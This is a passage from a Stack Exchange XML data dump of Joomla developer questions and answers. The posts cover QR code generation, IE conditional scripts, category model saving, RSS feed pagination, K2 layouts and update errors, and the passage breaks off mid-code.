  <row Id="4659" PostTypeId="2" ParentId="4655" CreationDate="2014-10-03T08:50:01.140" Score="1" Body="&lt;h1&gt;Update:&lt;/h1&gt;&#xA;&lt;p&gt;Ok I've done a test. I connected to the &lt;code&gt;#__users&lt;/code&gt; table and pulled the &lt;code&gt;name&lt;/code&gt; and &lt;code&gt;username&lt;/code&gt; of the ID of the current logged in user like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;include(JPATH_LIBRARIES . '/phpqrcode/qrlib.php');&#xA;&#xA;$db     = JFactory::getDbo(); &#xA;$user   = JFactory::getUser();&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);    &#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('name', 'username')))&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__users'))&#xA;      -&amp;gt;where($db-&amp;gt;quoteName('id') . ' = '. $db-&amp;gt;quote($user-&amp;gt;id));     &#xA;$db-&amp;gt;setQuery($query);&#xA;$codeContents = $db-&amp;gt;loadObjectList();&#xA;&#xA;$data  = $codeContents[0]-&amp;gt;name;&#xA;$data .= $codeContents[0]-&amp;gt;username;&#xA;  &#xA;$tempDir  = JPATH_SITE . '/images/';   &#xA;$fileName = 'qr_'.md5($data).'.png';   &#xA;$pngAbsoluteFilePath = $tempDir.$fileName;&#xA;$urlRelativeFilePath = JUri::root() .'images/' . $fileName;&#xA;&#xA;if (!file_exists($pngAbsoluteFilePath)) {&#xA;    QRcode::png($data, $pngAbsoluteFilePath);&#xA;}       &#xA;echo '&amp;lt;img src=&amp;quot;'.$urlRelativeFilePath.'&amp;quot; /&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This created the QRCode. I then scanned it on my phone and it displayed the correct data.&#xA;So in your case, change the dtabase table name to whatever you wish and type in the fields you want to get from that table.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;array('name', 'username') // Add what you want here&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then you need to define them like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$data .= $codeContents[0]-&amp;gt;NAME_OF_FIELD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You will see a &lt;code&gt;.&lt;/code&gt; (dot) before the &lt;code&gt;=&lt;/code&gt;(equals) symbol. This needs to be done for all of them apart from the first one as shown on my code.&lt;/p&gt;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-10-03T18:29:05.077" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="4660" PostTypeId="2" ParentId="4656" CreationDate="2014-10-03T09:17:45.460" Score="5" Body="&lt;p&gt;My bad! I installed latest version on Akeeba Admin Tools and problem fixed!&lt;/p&gt;&#xA;" OwnerUserId="1968" LastEditorUserId="1968" LastEditDate="2014-10-04T18:33:47.100" LastActivityDate="2014-10-04T18:33:47.100" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4661" PostTypeId="1" AcceptedAnswerId="4662" CreationDate="2014-10-03T13:08:51.287" Score="3" ViewCount="753" Body="&lt;p&gt;I am transforming a HTML template into a Joomla template. I have the following block in HTML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries --&amp;gt;&#xA;&amp;lt;!-- WARNING: Respond.js doesn't work if you view the page via file:// --&amp;gt;&#xA;&amp;lt;!--[if lt IE 9]&amp;gt;&#xA;    &amp;lt;script src=&quot;https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script src=&quot;https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;![endif]--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the best way of putting this conditional statement in a JDocument object?&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-10-03T13:52:46.097" LastActivityDate="2014-10-03T14:04:53.003" Title="How to add conditional comments for IE when including CSS / JS?" Tags="|joomla-3.x|templates|css|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4662" PostTypeId="2" ParentId="4661" CreationDate="2014-10-03T13:12:09.513" Score="3" Body="&lt;p&gt;I believe the following should work just fine:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $doc = JFactory::getDocument(); ?&amp;gt;&#xA;&amp;lt;!--[if lt IE 9]&amp;gt;&#xA;&amp;lt;?php&#xA;    $doc-&amp;gt;addScript('https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js');&#xA;    $doc-&amp;gt;addScript('https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js');&#xA;?&amp;gt;&#xA;&amp;lt;![endif]--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that I've defined &lt;code&gt;$doc&lt;/code&gt; outside the statement, just in case you require it elsewhere.&lt;/p&gt;&#xA;&lt;h2&gt;Update for example:&lt;/h2&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--[if lt IE 9]&amp;gt;&#xA;&amp;lt;script src=&amp;quot;https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&amp;quot;https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;![endif]--&amp;gt;&#xA;&#xA;&amp;lt;jdoc:include type=&amp;quot;head&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-10-03T14:04:53.003" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4663" PostTypeId="2" ParentId="4661" CreationDate="2014-10-03T13:47:58.167" Score="4" Body="&lt;p&gt;It looks like JDocument (actually JDocumentHTML) has a hidden method: &lt;code&gt;addCustomTag&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$customTag = &amp;lt;&amp;lt;&amp;lt;CUSTOM&#xA;&amp;lt;!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries --&amp;gt;&#xA;&amp;lt;!-- WARNING: Respond.js doesn't work if you view the page via file:// --&amp;gt;&#xA;&amp;lt;!--[if lt IE 9]&amp;gt;&#xA;    &amp;lt;script src=&quot;https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script src=&quot;https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;![endif]--&amp;gt;&#xA;CUSTOM;&#xA;$doc-&amp;gt;addCustomTag($customTag);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-10-03T13:47:58.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4665" PostTypeId="1" AcceptedAnswerId="4667" CreationDate="2014-10-03T18:00:32.847" Score="7" ViewCount="507" Body="&lt;p&gt;After googling,etc. I've arrived at the below code to &lt;em&gt;Add&lt;/em&gt; a new Category to Joomla so that all the plugin events, etc. get done.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$basePath = JPATH_ADMINISTRATOR.'/components/com_categories';&#xA;require_once $basePath.'/models/category.php';&#xA;$catmodel = new CategoriesModelCategory(array('table_path' =&amp;gt; $basePath.'/tables'));&#xA;&#xA;$myArrayOfData = array('id'=&amp;gt;'0','title'='my title'...);&#xA;$catmodel-&amp;gt;save($myArrayOfData);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As it is now, I use the same code to update the record, but instead of a fresh copy of the data array to add, I use SQL to get the existing record as an array, then modify and save the same way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &quot;works&quot;, but doesn't seem like the right way to do it, so I'm curious how to load the Model using the id of the Category , then use it's methods to change/save.  I've tried following the code that executes when the Category Component does it, but too many things are going on for me to nail down how it's done.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-10-05T22:57:56.443" LastActivityDate="2014-10-05T22:57:56.443" Title="How can I use the MVC Model to Load, Change, then Save a record?" Tags="|development|mvc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4666" PostTypeId="1" AcceptedAnswerId="4682" CreationDate="2014-10-03T22:56:40.823" Score="2" ViewCount="568" Body="&lt;p&gt;I have built a module to read a specific RSS feed and output a list of the feeds. The feed is read like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$FeedURL = $params-&amp;gt;get('FeedURL');&#xA;$rss     = simplexml_load_file($FeedURL);&#xA;if ($rss) {&#xA;    $items = $rss-&amp;gt;channel-&amp;gt;item;&#xA;    foreach ($items as $item) {&#xA;        $title        = $item-&amp;gt;title;&#xA;        $published_on = $item-&amp;gt;pubDate;&#xA;        $description  = $item-&amp;gt;description;&#xA;        $obs          = $item-&amp;gt;children(&quot;http://www.example.com/&quot;);&#xA;        $link         = $obs-&amp;gt;files-&amp;gt;file[0]-&amp;gt;fileurl;&#xA;        echo '&amp;lt;h3&amp;gt;' . $title . '&amp;lt;/h3&amp;gt;';&#xA;        echo '&amp;lt;p&amp;gt;(' . $published_on . ')&amp;lt;/p&amp;gt;';&#xA;        echo '&amp;lt;p&amp;gt;' . $description . '&amp;lt;/p&amp;gt;';&#xA;        echo '&amp;lt;p&amp;gt;&amp;lt;a href=&quot;' . $link . '&quot; target=&quot;_blank&quot; class=&quot;btn&quot;&amp;gt;Download PDF&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;';&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the feed delivers up to 20 items at once, and subsequent items are obtained by adding &lt;code&gt;&amp;amp;pageIndex=2&lt;/code&gt;, &lt;code&gt;&amp;amp;pageIndex=3&lt;/code&gt; etc. to the feed URL. Currently, only the first 20 item are displayed by the module (the feed has about 70 items at the moment, and growing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I modify my module to check if the feed has more than 20 items, and if that's the case, add the items from subsequent pages to the list, or, if possible, add pagination (&lt;kbd&gt;&amp;lt; Previous&lt;/kbd&gt; and &lt;kbd&gt;Next &gt;&lt;/kbd&gt;)?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-10-06T22:05:46.780" Title="Pagination in custom RSS feed reader" Tags="|joomla-3.x|php|module|rss|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4667" PostTypeId="2" ParentId="4665" CreationDate="2014-10-04T07:48:40.603" Score="3" Body="&lt;p&gt;Let's say you have the category ID which is stored in $id. You can instantiate the category model as you did it before:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$basePath = JPATH_ADMINISTRATOR . '/components/com_categories';&#xA;require_once $basePath . '/models/category.php';&#xA;$catModel = new CategoriesModelCategory(array('table_path' =&amp;gt; $basePath . '/tables'));&#xA;$id = 11;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you have two methods:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Method 1 - Without JTable Object&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$item = $catModel-&amp;gt;getItem($id);&#xA;$catModel-&amp;gt;save('id' =&amp;gt; $id, 'parent_id' =&amp;gt; $item-&amp;gt;parent_id, 'title' =&amp;gt; 'My New Title'); // parent_id should be defined otherwise a warning will be displayed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Method 2 - With JTable Object&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$catTable = $catModel-&amp;gt;getTable();&#xA;$catTable-&amp;gt;load($id);&#xA;$catTable-&amp;gt;title = 'My New Title';&#xA;&#xA;$catTable-&amp;gt;check();&#xA;$catTable-&amp;gt;store();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Note&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Only with the first method, &lt;code&gt;onContentBeforeSave&lt;/code&gt; and &lt;code&gt;onContentAfterSave&lt;/code&gt; events will be fired.&lt;/p&gt;&#xA;" OwnerUserId="1520" LastEditorUserId="1520" LastEditDate="2014-10-04T18:09:44.743" LastActivityDate="2014-10-04T18:09:44.743" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="4668" PostTypeId="1" AcceptedAnswerId="4669" CreationDate="2014-10-06T08:11:19.077" Score="5" ViewCount="1248" Body="&lt;p&gt;I want to create different layout using k2 component. I have three blog page where i want to show every page are different layout. Where &quot;Categories/item/tag&quot; page show 3 layout system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to do that ? any idea.&lt;/p&gt;&#xA;" OwnerUserId="1984" LastEditorUserId="1984" LastEditDate="2014-10-06T10:16:45.123" LastActivityDate="2015-07-18T07:29:24.253" Title="How to create a multi layout page using k2" Tags="|joomla-3.x|k2|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4669" PostTypeId="2" ParentId="4668" CreationDate="2014-10-06T08:17:35.227" Score="3" Body="&lt;p&gt;&lt;strong&gt;&lt;em&gt;You can try this bellow procedure:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;step 1: Copy the k2 components   &lt;strong&gt;(components-&gt;com_k2)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;step 2: Paste &lt;strong&gt;(templates-&gt;'your templates'-&gt; inner html folder)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;step 3: Open &lt;strong&gt;(templates-&gt;'your templates'-&gt; html -&gt; com_k2)&lt;/strong&gt; folder and delete all file except templates folder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;step 4: Open &lt;strong&gt;(templates-&gt;'your templates'-&gt; html -&gt; com_k2-&gt;templates)&lt;/strong&gt; folder and copy &lt;strong&gt;default&lt;/strong&gt; &amp;amp; paste here with &lt;strong&gt;rename&lt;/strong&gt; (suppose '&lt;strong&gt;stackoverflow&lt;/strong&gt;') this folder wish you want.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    Note: if you want more layout then follow this procedure.  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;step 5: Now you can edit your layout according to your desired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;step 6: Now you have to go &lt;strong&gt;Menu manager&lt;/strong&gt; &amp;amp; create new menu where you can see &lt;strong&gt;Menu Item Type&lt;/strong&gt; and &lt;strong&gt;select&lt;/strong&gt; k2-&gt; your choice. Then next options-&gt;&#xA;&quot;&lt;strong&gt;Select a template&lt;/strong&gt;&quot; where you create '&lt;strong&gt;stackoverflow&lt;/strong&gt;'&lt;/p&gt;&#xA;" OwnerUserId="1983" LastActivityDate="2014-10-06T08:17:35.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4671" PostTypeId="5" CreationDate="2014-10-06T09:10:14.253" Score="0" Body="" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-10-06T09:10:14.253" LastActivityDate="2014-10-06T09:10:14.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4672" PostTypeId="4" CreationDate="2014-10-06T09:10:14.253" Score="0" Body="K2 Store is Simple, Smart, Easy Shopping Cart. Read more on k2store.org" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-10-06T09:10:14.253" LastActivityDate="2014-10-06T09:10:14.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4673" PostTypeId="1" AcceptedAnswerId="4674" CreationDate="2014-10-06T11:58:27.847" Score="9" ViewCount="49313" Body="&lt;p&gt;I have tried to update a Joomla website,to the newest update they have released from the admin area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But after attempting to update,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have received this error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;An error has occurred. 0 Cannot open file for writing log&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What is the problem?&lt;/p&gt;&#xA;" OwnerUserId="1682" LastEditorUserId="159" LastEditDate="2014-10-06T12:44:10.847" LastActivityDate="2016-04-18T16:00:02.240" Title="Error 0 Cannot open file for writing log while updating" Tags="|joomla-3.x|update|" AnswerCount="6" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4674" PostTypeId="2" ParentId="4673" CreationDate="2014-10-06T12:02:15.797" Score="11" Body="&lt;p&gt;Sounds like a permissions issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Joomla backend, go to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;System&lt;/strong&gt; (top menu) &gt;&gt; &lt;strong&gt;System Information&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Directory Permissions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure all files and folders apart from the global &lt;em&gt;configuration.php&lt;/em&gt; are &lt;strong&gt;writable&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they aren't, then you will need to change the permissions, so that all folders are set to &lt;strong&gt;755&lt;/strong&gt; and files are set to &lt;strong&gt;644&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can either do this using an FTP client such as FileZilla or a Joomla extension such as Admin Tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have already done this, then make sure you have defined your log directory correctly, as sometimes the path to the logs folder may be incorrect. To check/change the path, in Joomla backend, go to &lt;strong&gt;Global Configuration&lt;/strong&gt; and then choose the &lt;strong&gt;Server&lt;/strong&gt; tab and check if the &lt;strong&gt;Path to Log folder&lt;/strong&gt; is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, note that you can download the Joomla update package and upload it to the root of your website and extract it rather than use the Joomla update feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-10-06T13:20:16.840" LastActivityDate="2014-10-06T13:20:16.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4675" PostTypeId="1" AcceptedAnswerId="4683" CreationDate="2014-09-29T16:38:50.863" Score="3" ViewCount="762" Body="&lt;p&gt;How can I achieve loop pagination?&#xA;Lets say I have 5 articles, Im adding pagination and on the 1-st page I have &quot;next&quot; button, on pages 2-4 I have both &quot;next&quot; and &quot;prev&quot; buttons, on the last 5-th page I will have only &quot;prev&quot; button. How Can I have &quot;next&quot; and &quot;prev&quot; buttons both on every page? So after reaching 5-th page and pressing &quot;next&quot; Im going to 1-st page, like loop or circle.&lt;/p&gt;&#xA;" OwnerUserId="1994" OwnerDisplayName="be well" LastActivityDate="2014-10-07T00:06:45.063" Title="Joomla pagination loop without start or end" Tags="|navigation|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4676" PostTypeId="1" CreationDate="2014-10-06T17:44:42.287" Score="2" ViewCount="991" Body="&lt;p&gt;I am trying to display only the most read content from two months ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried checking through mod_article_popular/helper.php file but can't figure out how to use the $model-&gt;setState to get what I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get only articles within a date range to display?&lt;/p&gt;&#xA;" OwnerUserId="1988" LastActivityDate="2015-10-23T13:59:17.913" Title="How do I get the &quot;Most read&quot; module to show only articles within a time range" Tags="|module|overrides|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4677" PostTypeId="1" CreationDate="2014-10-06T18:06:00.783" Score="1" ViewCount="389" Body="&lt;p&gt;I can't seem to be able to get the time for the created date to display correctly. All the dates return the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The date format I used is shown below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;relateditems&amp;lt;?php echo $moduleclass_sfx; ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;?php foreach ($list as $item) :    ?&amp;gt;&#xA;&#xA;&amp;lt;li&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php echo $item-&amp;gt;route; ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;?php echo $item-&amp;gt;category_title;?&amp;gt;&amp;lt;?php echo $item-&amp;gt;category_title;?&amp;gt;&#xA;        &amp;lt;span&amp;gt;&amp;lt;?php if ($showDate) echo JHTML::_('date', $item-&amp;gt;created, JText::_('M d Y | h:ia T')); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;br /&amp;gt;&#xA;        &amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This returns the date in this format; May 27 2013 | 01:00am WAT which is what I want BUT the problem is that all the dates on the module have the same time 01:00am WAT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get the date to display the correct time&lt;/p&gt;&#xA;" OwnerUserId="1988" LastActivityDate="2014-10-06T21:01:49.770" Title="Display timestamp on related articles module" Tags="|joomla-2.5|module|overrides|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4678" PostTypeId="2" ParentId="4677" CreationDate="2014-10-06T21:01:49.770" Score="1" Body="&lt;p&gt;&lt;code&gt;$item-&amp;gt;created&lt;/code&gt; simply gets creation date of the article from the &lt;code&gt;#__content&lt;/code&gt; table in the database. If all the dates appear to be the same, then open the &lt;code&gt;#__content&lt;/code&gt; table via PhpMyAdmin and check the &lt;code&gt;created&lt;/code&gt; column. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the dates are all the same, then go to your Article Manager in the Joomla backend, open a related article, and manually change the creation date on the right hand side. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's quite possible that the articles you're using are simply updates of the dummy articles that came with your Joomla installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-10-06T21:01:49.770" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4679" PostTypeId="5" CreationDate="2014-10-06T21:43:54.113" Score="0" Body="&lt;h1&gt;Database&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://en.wikipedia.org/wiki/Database&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A database is an organized collection of data. The data is typically&#xA;  organized to model relevant aspects of reality (for example, the&#xA;  availability of rooms in hotels), in a way that supports processes&#xA;  requiring this information (for example, finding a hotel with&#xA;  vacancies).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A large proportion of websites and applications rely on databases. They are a crucial component of telecommunications systems, banking systems, video games, and just about any other software system or electronic device that maintains some amount of persistent information. In addition to persistence, database systems provide a number of other properties that make them exceptionally useful and convenient: reliability, efficiency, scalability, concurrency control, data abstraction, and high-level query languages. Databases are so ubiquitous and important that computer science graduates frequently cite their database class as the one most useful to them in their industry or graduate-school careers.&lt;sup&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Data_manipulation_language&quot; rel=&quot;nofollow&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;a href=&quot;http://en.wikipedia.org/wiki/Data_manipulation_language&quot; rel=&quot;nofollow&quot;&gt;Data Manipulation Language&lt;/a&gt; (&lt;a href=&quot;/questions/tagged/dml&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;dml&amp;#39;&quot; rel=&quot;tag&quot;&gt;dml&lt;/a&gt;) is used to affect the contents of the database. The most widely used &lt;a href=&quot;/questions/tagged/dml&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;dml&amp;#39;&quot; rel=&quot;tag&quot;&gt;dml&lt;/a&gt; is &lt;a href=&quot;/questions/tagged/sql&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;sql&amp;#39;&quot; rel=&quot;tag&quot;&gt;sql&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The term &lt;em&gt;database&lt;/em&gt; should not be confused with &lt;em&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Database_management_system&quot; rel=&quot;nofollow&quot;&gt;Database Management System&lt;/a&gt;&lt;/em&gt; (DBMS). A &lt;a href=&quot;/questions/tagged/dbms&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;dbms&amp;#39;&quot; rel=&quot;tag&quot;&gt;dbms&lt;/a&gt; is the system software used to create and manage databases and provide users and applications with access to the database(s). A database is to a DBMS as a document is to a word processor.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Some useful references:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Database_design&quot; rel=&quot;nofollow&quot;&gt;Database design&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.tldp.org/HOWTO/Sybase-ASA-HOWTO/manage.html&quot; rel=&quot;nofollow&quot;&gt;Managing a database&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Database_tuning&quot; rel=&quot;nofollow&quot;&gt;Tuning of a database&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Database_security&quot; rel=&quot;nofollow&quot;&gt;Database security&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Database_connection&quot; rel=&quot;nofollow&quot;&gt;Database connections&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Database_normalization&quot; rel=&quot;nofollow&quot;&gt;Database normalization&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Free online database courses:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://class.stanford.edu/courses/Engineering/db/2014_1/about&quot; rel=&quot;nofollow&quot;&gt;Introduction to Databases&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1989" LastEditorUserId="126" LastEditDate="2015-08-21T15:39:20.423" LastActivityDate="2015-08-21T15:39:20.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4680" PostTypeId="4" CreationDate="2014-10-06T21:43:54.113" Score="0" Body="A database is an organized collection of data typically used to model certain situations. Use this tag if you have questions about designing a database. If it is about a particular database management system, (e.g., MySQL), please use that tag instead." OwnerUserId="1989" LastEditorUserId="1989" LastEditDate="2014-10-07T05:20:36.310" LastActivityDate="2014-10-07T05:20:36.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4681" PostTypeId="2" ParentId="4676" CreationDate="2014-10-06T21:49:35.630" Score="3" Body="&lt;p&gt;You should be looking at ContentModelArticles class for which filter states to manipute.  inside the classes getStoreId method is the answer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function getStoreId($id = '')&#xA;{&#xA;    // Compile the store id.&#xA;    $id .= ':' . serialize($this-&amp;gt;getState('filter.published'));&#xA;    $id .= ':' . $this-&amp;gt;getState('filter.access');&#xA;    $id .= ':' . $this-&amp;gt;getState('filter.featured');&#xA;    $id .= ':' . serialize($this-&amp;gt;getState('filter.article_id'));&#xA;    $id .= ':' . $this-&amp;gt;getState('filter.article_id.include');&#xA;    $id .= ':' . serialize($this-&amp;gt;getState('filter.category_id'));&#xA;    $id .= ':' . $this-&amp;gt;getState('filter.category_id.include');&#xA;    $id .= ':' . serialize($this-&amp;gt;getState('filter.author_id'));&#xA;    $id .= ':' . $this-&amp;gt;getState('filter.author_id.include');&#xA;    $id .= ':' . serialize($this-&amp;gt;getState('filter.author_alias'));&#xA;    $id .= ':' . $this-&amp;gt;getState('filter.author_alias.include');&#xA;    $id .= ':' . $this-&amp;gt;getState('filter.date_filtering');&#xA;    $id .= ':' . $this-&amp;gt;getState('filter.date_field');&#xA;    $id 